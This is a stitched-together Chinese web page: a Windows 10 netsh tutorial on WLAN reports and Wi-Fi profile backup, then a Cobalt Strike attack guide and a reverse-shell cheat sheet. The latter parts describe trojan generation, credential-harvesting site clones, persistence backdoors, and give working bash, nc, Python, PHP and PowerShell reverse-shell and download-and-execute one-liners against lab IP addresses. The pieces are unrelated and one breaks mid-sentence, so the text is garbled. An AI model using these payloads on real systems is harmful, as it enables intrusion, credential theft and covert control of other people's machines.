Windows 10中,你可以通过netsh命令来生成无线网络报告。如果你正饱受WLAN连接问题的困扰,那么分析无线网络报告将有助于你定位问题并有针对性地解决问题。若你的WLAN连接没有问题,那么了解你的计算机关于WLAN连接的情况的细节也未尝不是一种有趣的体验。
在这篇文章中,IT之家将教大家如何生成无线网络报告以及列举无线网络报告中的关键信息。
在Windows 10中生成无线网络报告
在Windows 10中生成无线网络报告的方法十分简单,我们只需要执行一行命令。
我们可以通过Windows Powershell(推荐)或者命令提示符以管理员身份来执行用于生成无线网络报告的命令。
要在你的计算机中找到并以管理员身份运行Windows Powershell,请将鼠标光标移至开始按钮(默认位于你计算机屏幕的左下角)上,单击鼠标右键,在弹出的菜单中选中“Windows Powershell(管理员)”,并以鼠标左键单击。
要在你的计算机中找到并以管理员身份运行命令提示符,请以鼠标左键单击微软小娜的搜索框,输入并搜索关键字“CMD”,在搜索结果的“最佳匹配”项下,你可以找到命令提示符的入口。将鼠标光标置于命令提示符的图标上,单击鼠标右键,在弹出的菜单中选中“以管理员身份运行”,并以鼠标左键单击。
在接下来的教程中,我们将以在Windows Powershell中演示执行用于生成无线网络报告的命令的过程。
在Windows Powershell中输入(或粘贴)并执行以下命令:
netsh wlan show wlanreport
如果一切顺利,你将看到执行结果如下:
通过Windows Powershell中显示的命令结果可知,最终生成的无线网络报告已经被命名为“wlan-report-latest.html”并保存在以下目录下:
C:\ProgramData\Microsoft\Windows\WlanReport\
如果你的Windows 10安装在其他盘符,那么你可以在文件资源管理器的地址栏中输入以下地址:
%ProgramData%\Microsoft\Windows\WlanReport
并按键盘上的回车键来导航到无线网络报告被保存到的位置。
你可以使用任意的网页浏览器来打开无线网络报告,其中的内容(局部)将如下图所示:
接下来我们来看无线网络报告中的关键信息。
无线网络报告中的关键信息
WLAN摘要图表
WLAN摘要图表将以可视化图表的形式显示报告中的WLAN连接会话信息。它的纵轴分别为WLAN、NCSI和NDIS项,横轴则是时间线,在WLAN摘要图表中,你最需要关注的关键信息是错误信息,若时间线中出现红色的中间带有“X”标志的圆点,则表明当前(时间轴所处的)时间该点所在的项发生了错误。点击表示某项发生了错误的点则可以查看该条错误所对应的与WLAN会话相关联事件。
报告信息
报告信息(Report Info)包含两条关键信息,分别是无线网络报告生成的时间(比如2018年01月17日14:34:16)和该报告包含的内容横跨了多长时间(比如三天)。
一般系统信息
一般系统信息(General System Info)所包含的关键信息包括计算机名称(比如ThinkCentre)、计算机制造商(比如联想)、计算机型号(比如扬天S710)、BIOS日期/版本(比如2013年05月16日/FJKT16AUS)、操作系统版本(比如17074.1000)以及你的系统是否加入了MDM。
用户信息
用户信息(User Info)主要包含三条关键信息,分别是用户名(比如Lenovo)、用户域(比如THINKCENTRE)和用户DNS域(比如未知)。
网络适配器
网络适配器(Network Adapters)包含的关键信息有设备名(比如WAN Miniport (PPPOE))、即插即用ID(比如SWD\MSRRAS\MS_PPPOEMINIPORT)、GUID(比如{DC4D342D-BE68-41F3-8119-A0C9C7D1A164})、当前驱动程序的版本(比如10.0.17074.1000)、驱动程序日期(比如6-21-2006)DevNode标志(比如0x180200a)等。
如果你的计算机的网络适配器有问题,那么该网络适配器的问题编号将列于网络适配器的关键信息列表中。
脚本输出
脚本输出(Script Output)中主要包含三条命令(脚本)的执行结果,下面我们一一列举。
ipconfig /all
ipcpnfig /all脚本的执行结果中包含的关键信息有当前计算机中网络适配器的MAC地址、IP地址和DNS服务器(若适用)等。
netsh wlan show all
netsh wlan show all脚本的执行结果中包含的关键信息是当前计算机中网络适配器的详情,包括适配器型号、适配器制造商、驱动程序日期/版本、计算机中的WLAN配置文件、报告生成的过程中发现的WLAN网络列表等。
certutil -store -silent My & certutil -store -silent -user My
certutil -store -silent My & certutil -store -silent -user My脚本的执行结果包含的关键信息是当前的计算机所安装的证书的列表。
配置文件输出
配置文件输出的执行结果中所包含的关键信息为当前计算机中所有WLAN网络的配置文件,WLAN网络的密码已经经过加密,不会以明文显示。
摘要
摘要(Summary)中包含的关键信息有会话的成功/失败情况(比如2次成功、0次失败、0次警告)、断开连接的原因(比如用户主动断开连接)、会话的持续时间(比如360分钟以上)、无线会话(与每个WLAN会话相关联的所有WLAN事件,该列表中被设置了彩色背景的事件可与前文提到的WLAN摘要列表中的彩色的点相对应)等。
以上是在Windows 10中生成无线网络报告的方法和无线网络报告中所包含的关键信息。
无线网络报告是借由netsh命令生成的,事实上,netsh命令还可以用来做更多的事情。
使用netsh命令来备份和恢复无线网络配置文件
无线网络备份文件中包含的信息有无线网络的SSID信息以及密码信息。当你的计算机重新安装了操作系统时,你可以借由无线网络的备份文件快速地恢复无线网络配置,这将有助于节省手动输入无线网络密码的时间或者等待无线网络配置文件从云端恢复到本地计算机的时间。
要备份与恢复无线网络配置文件十分简单,以小编的计算机为例,在开始备份无线网络配置文件之前,我们最好先来查看当前的计算机中存储了哪些无线网络配置文件。要查看当前计算机中存储的无线网络配置文件,我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令:
netsh wlan show profiles
无线网络配置文件列表将显示如下:
要一次性备份当前列表中所显示的所有的无线网络的配置文件,我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令(以将无线网络备份文件生成到E盘根目录为例):
netsh wlan export profile key=clear folder=E:\
命令的执行结果将如图所示:
这时,我们打开文件资源管理器,定位到E盘根目录,将看到无线网络配置文件备份如下:
若要备份指定无线网络的配置文件(以备份无线网络“Ruanmei”的配置文件为例),我们只需在WIndows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令(以将无线网络备份文件生成到E盘根目录为例):
netsh wlan export profile "Ruanmei" key=clear folder=E:\
命令的执行结果将如图所示:
若要借由备份文件恢复无线网络配置到当前用户,我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令(以恢复E盘根目录中的无线网络“Ruanmei”的配置文件“Wi-Fi-Ruanmei.xml”为例):
netsh wlan add profile filename="E:\Wi-Fi-Ruanmei.xml" user=current
命令的执行结果将如图所示:
若要借由备份文件恢复无线网络配置到全部用户,我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令(以恢复E盘根目录中的无线网络“Ruanmei”的配置文件“Wi-Fi-Ruanmei.xml”为例):
netsh wlan add profile filename="E:\Wi-Fi-Ruanmei.xml" user=all
命令的执行结果将如图所示:
使用netsh命令来过滤无线网络列表
若当前地点有很多备选的无线网络,那么整个无线网络列表看起来会非常杂乱。通过netsh命令,我们可以把列表中的指定无线网络加入“白名单(只在无线网络列表中显示白名单中的无线网络)里”。
要将无线网络(比如Ruanmei)加入到无线网络列表的白名单,我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令:
netsh wlan add filter permission=allow ssid="Ruanmei" networktype=infrastructure
执行结果将如下图所示:
然后,我们再执行以下命令来阻止白名单之外的无线网络显示在列表里:
netsh wlan add filter permission=denyall networktype=infrastructure
执行结果将如下图所示:
以下是执行以上两条命令前后的无线网络列表对比:
执行前
执行后
若要还原无线网络列表设置到此前的状态(在无线网络列表中显示所有备选的无线网络),我们只需在Windows Powershell(推荐)或命令提示符中输入(或粘贴)并执行以下命令:
netsh wlan delete filter permission=denyall networktype=infrastructure
执行结果将如下图所示:
以下是执行以上命令前后的无线网络列表对比:
执行前
执行后
好的,以上就是本期IT之家极客学院的全部内容,开开心心地玩儿去吧~
想看到更多这类内容?去APP商店搜IT之家,天天都有小欢喜。
Cobalt Strike是一款基于java的内网渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。 Cobalt Strike集成了端口转发、服务扫描,socket代理,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:
团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件。
Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:双击cobaltstrike.exe
点击Cobalt Strike -> Listeners->Add,其中内置了八种监听器。
其中windows/beacon为内置监听器,包括dns、http、https、smb、tcp、extc2六种方式的监听器;windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。
hta木马是 http application的缩写是一种独立的程序跟c++写的程序没啥区别。可以被windows电脑的mshta命令直接执行。可更改任意后缀名。点Attacks->Packages->HTML Application,选择对应的监听器,选择powershell即可生成。
目标主机访问到木马文件并执行,返回CS就可以看到受害者上线。
目标主机使用dos命令访问到木马文件并执行,返回CS就可以看到受害者上线。
点击Attacks->Packages->Windows Executable,选择对应的监听器,这里可生成(PowerShell,Raw,Windows EXE,Windows DLL(32-bit),Windows DLL(64-bit))选择Windows EXE,点击Generate生成,选择生成的路径及文件名保存即可。
将生成的exe文件投递到目标主机,目标主机运行。
DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序。
将生成的dll文件投递到目标主机,目标主机运行。
DLL文件下载过程中对应数据包
CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator 这里以powershell为例。将生成的payload.ps1复制到目标系统并执行以
目前利用网络防火墙将组织内部的网络结构与外部网络如 INTERNET 中有效地隔离开来,这种方法正变得逐渐流行起来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。SOCKS 提供一个通用框架来使这些协议安全透明地穿过防火墙。 说的简单明了一点,在渗透测试中,我们使用socks技术,可以穿透进入目标机的内网,从而扩大我们的战果
CobaltStrike自带Socks功能,开启Socks server 配置一个代理端口,成功开启socks4后,即可 成功进入目标内网。
开启socks4代理,通过代理进行内网渗透 开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server
修改vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器
使用proxychains代理扫描内网主机
我们还可以通过隧道将整个msf带进目标内网 点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:
创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)。
利用HTML Application来生成链接使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose,返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定。)
点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入
当受害者输入了用户名密码,CS在日志里会有记录
我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。 为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面 点击 Attacks->Web Driver-by->System Profiler
点击Cobalt Strike->Script Manager来导入elevate.cna 文件
选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权
打开beacon shell并执行命令
查看受害机器服务,发现名为name的服务项创建成功
不过此时该服务启动类型为手动,我们需要将其设置为自动
这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。
打开beacon shell并执行命令
这样一个注册表自启动后门已经设置成功了
通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
Netcat由于他体积小且功能强大的特性,常常使用者被称为“瑞士军刀”或者ncat,在Debian、Mac系统中是默认安装的。想要在两台机器之间进行正向、反向连接,Netcat通常是不二之选,反弹shell的使用中常用参数包括:
关于Netcatd的更多使用方法可参考:
https://www.freebuf.com/sectool/168661.html
实验环境:
Kali:192.168.178.131
CentOS 7:192.168.178.218
方法一:利用Linux命令
#反弹命令:
bash -i >/dev/tcp/192.168.178.131/23333 0>&1 2>&1
在系统文件中是不存在/dev/tcp这个文件的,它是一个特殊文件,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理/dev/udp就是通过udp来进行传输。
#Kali进行监听:
nc -lvp 23333
方法二:利用nc命令
#反弹命令:
nc -e /bin/bash 192.168.178.131 23333
(利用了nc的重定向功能)
#Kali进行监听:
nc -lvp 23333
方法三:利用脚本
1. Python
#反弹命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.178.131',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
#Kali进行监听:
nc -lvp 23333
2. php
(前提:需要在php.ini中放开危险函数system,exec。可以通过php --ini来查询php配置文件路径,然后删除配置文件中“disable_funtions”变量中对应的函数名即可。)
(1) 反弹命令(代码假设TCP连接的文件描述符为4,如果不行可以换成5或6):
php -r '$sock=fsockopen("192.168.178.131",23333);system("/bin/bash -i <&4 >&4 2>&4");'
#Kali进行监听:
nc -lvp 23333
(2) 反弹命令:
php -r ‘exec(“/bin/bash -i >& /dev/tcp/192.168.178.131/23333”);’
#Kali进行监听:
nc -lvp 23333
实验环境:
Kali:192.168.178.131
Windows server 2008:192.168.178.128
方法一:利用”nishang”攻击框架
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
1. 利用UDP反弹命令:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.178.131 -port 23333
#Kali进行监听:
nc -lup 23333
2. 利用TCP反弹命令:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.178.131 -port 23333
#Kali进行监听:
nc -lvp 23333
方法二:利用powercat
powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。
#反弹命令:
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.178.131 -p 23333 -e cmd
#Kali进行监听:
nc -lvp 23333
方法三:自定义powershell函数
#反弹命令:
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.178.131',23333);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
#Kali进行监听:
nc -lvp 23333
方法四:利用metasploit
利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell。
#以powershell进行反弹为例,kali执行命令,可以看到生成已经过编码的payload:
msfconsole
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set target 2
set LPORT 23333
set LHOST 192.168.178.131
Set srvhost 0.0.0.0
Set srvpost 8080
run
#Win server 2008执行生成的命令“powershell.exe -nop -w hidden -e ......”(-w hidden参数使命令运行时窗口隐藏)。
#Kali接收到反弹:
以上提到的是常见的反弹shell方式,当然,还存在更多的其他方式,github上也有很多成熟的攻击框架可以实现反弹shell,例如PowerSploit、Empire、Dnscat等等,感兴趣可以继续进行深入学习。
*请认真填写需求信息,我们会在24小时内与您取得联系。